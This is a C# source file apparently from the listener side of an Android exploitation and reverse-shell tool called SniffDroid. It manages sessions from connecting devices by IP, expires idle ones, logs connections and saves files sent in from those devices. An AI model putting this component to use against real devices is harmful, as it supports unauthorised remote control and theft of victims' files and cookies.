﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Collections;
using System.Threading;
using System.IO;

namespace AndroidExploitationReverseShell
{
    /// <summary>
    /// abstracts the different connections of a SniffDroid client to one session
    /// stores the data associated with the session
    /// </summary>
    public class Session
    {
        /// <summary>
        /// the list of active sessions
        /// </summary>
        private static Hashtable sessions = new Hashtable();
        /// <summary>
        /// the thread used by the expiration service
        /// </summary>
        private static Thread workerThread;

        /// <summary>
        /// the binary writer associated with the current session
        /// </summary>
        private BinaryWriter fileWriter = null;
        /// <summary>
        /// the amount of bytes transfered in the current session
        /// </summary>
        private long fileTransferBytes = 0;
        /// <summary>
        /// the start time of the file transfer
        /// </summary>
        private DateTime fileTransferStartTime;

        /// <summary>
        /// gets the specified session by its IP, implements a multiton design pattern for the Session class
        /// </summary>
        /// <param name="_ip">the ip address of the session</param>
        /// <returns>the retrieved sessions</returns>
        public static Session GetSessionByIP(string _ip)
        {
            if (sessions.Contains(_ip))
            {
                return (Session)sessions[_ip];
            }

            Session session = new Session(_ip);
            sessions.Add(_ip, session);

            Shell.AddLogEntry("New session from " + _ip, true);

            return session;
        }
        /// <summary>
        /// constructor, private due to multiton implementation
        /// </summary>
        /// <param name="_ip">the ip of the newly created session</param>
        private Session(string _ip)
        {
            IP = _ip;
            ResetExpirationCounter();
        }
        /// <summary>
        /// destructor
        /// </summary>
        ~Session()
        {
            if (fileWriter != null)
            {
                fileWriter.Close();
            }
        }
        /// <summary>
        /// starts the expiration service that removes inactive sessions
        /// </summary>
        public static void RunExpiration()
        {
            ThreadStart threadStart = new ThreadStart(ExpireSessions);
            Thread workerThread = new Thread(threadStart);
            workerThread.Start();
        }
        /// <summary>
        /// stops the expiration service that removes inactive sessions
        /// </summary>
        public static void StopExpiration()
        {
            workerThread.Abort();
        }
        /// <summary>
        /// runs the expiration routine which removes inactive sessions from
        /// the list of active sessions
        /// </summary>
        private static void ExpireSessions()
        {
            ArrayList removeSessions = new ArrayList();

            while (true)
            {
                removeSessions.Clear();

                foreach (Session session in sessions.Values)
                {
                    session.DecreaseExpirationCounter();
                    if (session.Expired)
                    {
                        //cannot safely delete in foreach iteration
                        removeSessions.Add(session);
                    }
                }

                foreach (Session session in removeSessions)
                {
                    sessions.Remove(session.IP);
                    Shell.AddLogEntry("Connection to " + session.IP + " lost");
                }
                Thread.Sleep(1000);
            }
        }
        /// <summary>
        /// displays a list of active sessions in the console
        /// </summary>
        public static void PrintSessionList()
        {
            if (sessions.Count == 0)
            {
                Console.WriteLine("No active sessions found...");
                return;
            }

            Console.WriteLine("Active sessions:");
            foreach (Session session in sessions.Values)
            {
                Console.WriteLine(session.IP + " (" + session.ExpireCounter + ")");
            }
        }
        /// <summary>
        /// resets the expiration counter of the current session
        /// when activity is detected on the session this method
        /// should be called
        /// </summary>
        public void ResetExpirationCounter()
        {
            ExpireCounter = 120;
        }
        /// <summary>
        /// decrease the expiration counter of the session
        /// this method is called from the expiration service
        /// </summary>
        private void DecreaseExpirationCounter()
        {
            ExpireCounter--;
        }
        /// <summary>
        /// indicates if the session has expired
        /// </summary>
        public bool Expired
        {
            get
            {
                return ExpireCounter < 0;
            }
        }
        
        //the counter that is used for expiring sessions
        private int ExpireCounter { get; set; }

        //the ip address of the session
        public string IP { get; private set; }
        //this property is used to store the URL parameter used by the cookies and the display command 
        public string URL { get; set; }

        /// <summary>
        /// creates a new binary writer for the given filename and opens the file for writing
        /// if the file already exists it is overwritten
        /// </summary>
        /// <param name="fileName">the filename to write to</param>
        public void BeginFileWrite(string fileName)
        {
            fileTransferBytes = 0;
            fileTransferStartTime = DateTime.Now;
            fileWriter = new BinaryWriter(new FileStream(fileName, FileMode.Create));
        }
        /// <summary>
        /// writes the given data to the file opened with the method BeginFileWrite
        /// </summary>
        /// <param name="data">the binary data to write</param>
        public void WriteToFile(byte[] data)
        {
            if (fileWriter != null)
            {
                try
                {
                    fileWriter.Write(data);
                    fileTransferBytes += data.Length;
                }
                catch (Exception e)
                {
                    Shell.ShowException(e);
                }
            }
        }
        /// <summary>
        /// close the binary writer (if any is open) associated with the current session
        /// </summary>
        /// <param name="withError">true if an open binary writer represents an error in the current state of the session</param>
        public void EndFileWrite(bool withError)
        {
            if (fileWriter != null)
            {
                if (withError)
                {
                    Shell.AddLogEntry("File transfer failed!");
                }
                else
                {
                    TimeSpan duration = DateTime.Now - fileTransferStartTime;
                    double kbps = (fileTransferBytes * 8) / 1000;
                    kbps = duration.TotalSeconds > 0 ? kbps / duration.TotalSeconds : 0;
                    Shell.AddLogEntry("File transfer complete! Transfered " + fileTransferBytes + " bytes in " + duration.TotalSeconds + " seconds (at " + kbps + " kbps)");
                }
                fileWriter.Close();
                fileWriter = null;
            }
        }
    }
}
